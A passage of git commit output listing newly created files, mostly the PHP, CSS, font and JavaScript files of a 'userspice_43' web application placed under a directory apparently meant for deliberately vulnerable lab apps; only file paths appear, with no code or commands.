modules/utilities/unix/web_frameworks/php/types/sapi.pp create mode 100644 modules/vulnerabilities/unix/webapp/gitlist_040/templates/.htaccess.erb create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/.gitignore create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/README.md create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/favicon.ico create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/index.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/cleanup.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/index.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/chunks/chunk1.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/chunks/chunk2.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/chunks/restore.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/css/bootstrap-theme.min.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/css/bootstrap.min.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/css/main.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/includes/footer.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/includes/header.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/includes/install_settings.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/install/includes/sql.sql create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/license.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/recovery.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/step2.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/install/step3.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/_blank_pages/.htaccess create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/_blank_pages/project_root.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/_blank_pages/un_minified_standard.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/_blank_pages/userspice_blank.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/account.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_backup.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_ips.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_logs.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_logs_exempt.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_logs_manager.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_logs_mapper.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_menu.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_menu_item.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_menus.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_message.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_messages.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_notifications.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_page.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_pages.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_permission.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_permissions.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_user.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_users.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_verify.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/api/index.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/check_updates.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/.htaccess create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Config.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Cookie.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/DB.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Hash.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Input.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Notification.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Redirect.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Session.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Shuttle_Dumper.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Token.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/User.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Validate.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/class.autoloader.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/phpMQTT.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/phpmailer/Exception.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/phpmailer/OAuth.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/phpmailer/PHPMailer.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/phpmailer/PHPMailerAutoload.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/phpmailer/POP3.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/phpmailer/SMTP.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/composer.json create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/composer.lock create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/composer.phar create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/cron/backup.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/cron/cron.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/cron/sample.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/cron_manager.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/cron_post.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/.htaccess create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/admin-tabs.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/blank.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap-rtl.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap-rtl.min.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap-theme.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap-theme.css.map create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap-theme.min.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap-theme.min.css.map create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap.css.map create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap.min.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/bootstrap.min.css.map create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/color_schemes/.htaccess create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/color_schemes/bootstrap.min.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/color_schemes/bright.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/color_schemes/clean.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/color_schemes/dark.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/color_schemes/flat.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/color_schemes/muted.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/color_schemes/standard.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/custom.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/cyborg.bootstrap.min.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/datatables.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/fonts/.htaccess create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/fonts/glyphicons-halflings-regular.eot create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/fonts/glyphicons-halflings-regular.svg create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/fonts/glyphicons-halflings-regular.ttf create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/fonts/glyphicons-halflings-regular.woff create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/fonts/glyphicons-halflings-regular.woff2 create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/lavish.theme.min.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/plugins/.htaccess create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/plugins/morris.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/sb-admin-rtl.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/sb-admin.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/css/us-admin.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/disable2fa.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/edit_profile.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/email_settings.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/email_test.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/enable2fa.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fb-callback.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/.htaccess create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/css/.htaccess create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/css/font-awesome.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/css/font-awesome.min.css create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/fonts/.htaccess create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/fonts/FontAwesome.otf create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/fonts/fontawesome-webfont.eot create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/fonts/fontawesome-webfont.svg create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/fonts/fontawesome-webfont.ttf create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/fonts/fontawesome-webfont.woff create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/fonts/fontawesome-webfont.woff2 create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/glyphicons-halflings-regular.eot create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/glyphicons-halflings-regular.svg create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/glyphicons-halflings-regular.ttf create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/glyphicons-halflings-regular.woff create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/glyphicons-halflings-regular.woff2 create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/less/.htaccess create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/less/animated.less create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/less/bordered-pulled.less create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/less/core.less create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/less/fixed-width.less create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/less/font-awesome.less create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/less/icons.less create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/less/larger.less create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/less/list.less create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/less/mixins.less create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/less/path.less create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/less/rotated-flipped.less create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/less/screen-reader.less create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/less/spinning.less create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/less/stacked.less create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/less/variables.less create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/scss/.htaccess create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/scss/_animated.scss create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/scss/_bordered-pulled.scss create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/scss/_core.scss create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/scss/_fixed-width.scss create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/scss/_icons.scss create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/scss/_larger.scss create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/scss/_list.scss create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/scss/_mixins.scss create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/scss/_path.scss create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/scss/_rotated-flipped.scss create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/scss/_screen-reader.scss create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/scss/_spinning.scss create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/scss/_stacked.scss create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/scss/_variables.scss create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/fonts/scss/font-awesome.scss create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/forgot_password.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/forgot_password_reset.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/google_helpers.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/helpers/.htaccess create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/helpers/audit.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/helpers/backup_util.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/helpers/class.treeManager.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/helpers/google_helpers.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/helpers/helpers.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/helpers/language.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/helpers/menus.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/helpers/us_helpers.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/helpers/users_online.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/images/.htaccess create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/images/facebook.png create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/images/google.png create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/images/logo.png create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/includes/.htaccess create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/includes/admin_nav.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/includes/database-navigation.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/includes/facebook_oauth.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/includes/google_oauth.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/includes/google_oauth_login.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/includes/header.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/includes/html_footer.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/includes/migrations.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/includes/navigation.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/includes/notifications.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/includes/page_footer.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/includes/password_meter.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/includes/recaptcha.config.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/includes/user_spice_ver.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/index.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/init.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/join.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/joinThankYou.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/js/.htaccess create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/js/bootstrap-editable.js create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/js/bootstrap.js create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/js/bootstrap.min.js create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/js/combobox.js create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/js/jquery.js create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/js/jwerty.js create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/js/npm.js create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/js/oce.js create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/js/pagination/dataTables.js create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/js/pagination/jquery.dataTables.js create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/js/plugins/.htaccess create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/js/plugins/flot/.htaccess create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/js/plugins/flot/excanvas.min.js create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/js/plugins/flot/flot-data.js create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/js/plugins/flot/jquery.flot.js create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/js/plugins/flot/jquery.flot.pie.js create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/js/plugins/flot/jquery.flot.resize.js create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/js/plugins/flot/jquery.flot.tooltip.min.js create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/js/plugins/morris/.htaccess create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/js/plugins/morris/morris-data.js create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/js/plugins/morris/morris.js create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/js/plugins/morris/morris.min.js create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/js/plugins/morris/raphael.min.js create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/js/search.js create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/js/zxcvbn-bootstrap-strength-meter.js create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/licenses/.htaccess create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/licenses/UserCake 2 License.txt create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/licenses/UserSpice 4 License.txt create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/licenses/theme_license.txt create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/login.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/logout.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/maintenance.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/message.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/messages.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/mqtt_settings.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/oauth_success.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/parsers/dismissNotifications.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/parsers/editMQTT.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/parsers/editMenu.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/parsers/existingUsernameCheck.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/parsers/getNotifications.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/profile.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/Authentication/AccessToken.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/Authentication/AccessTokenMetadata.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/Authentication/OAuth2Client.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/Exceptions/FacebookAuthenticationException.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/Exceptions/FacebookAuthorizationException.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/Exceptions/FacebookClientException.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/Exceptions/FacebookOtherException.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/Exceptions/FacebookResponseException.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/Exceptions/FacebookResumableUploadException.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/Exceptions/FacebookSDKException.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/Exceptions/FacebookServerException.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/Exceptions/FacebookThrottleException.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/Facebook.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/FacebookApp.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/FacebookBatchRequest.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/FacebookBatchResponse.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/FacebookClient.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/FacebookRequest.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/FacebookResponse.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/FileUpload/FacebookFile.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/FileUpload/FacebookResumableUploader.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/FileUpload/FacebookTransferChunk.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/FileUpload/FacebookVideo.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/FileUpload/Mimetypes.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/GraphNodes/Birthday.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/GraphNodes/Collection.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/GraphNodes/GraphAchievement.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/GraphNodes/GraphAlbum.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/GraphNodes/GraphApplication.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/GraphNodes/GraphCoverPhoto.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/GraphNodes/GraphEdge.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/GraphNodes/GraphEvent.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/GraphNodes/GraphGroup.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/GraphNodes/GraphList.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/GraphNodes/GraphLocation.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/GraphNodes/GraphNode.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/GraphNodes/GraphNodeFactory.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/GraphNodes/GraphObject.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/GraphNodes/GraphObjectFactory.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/GraphNodes/GraphPage.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/GraphNodes/GraphPicture.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/GraphNodes/GraphSessionInfo.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/GraphNodes/GraphUser.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/Helpers/FacebookCanvasHelper.php create mode 100644 modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/src/Facebook/Helpers/FacebookJavaScriptHelper.php create mode 100644 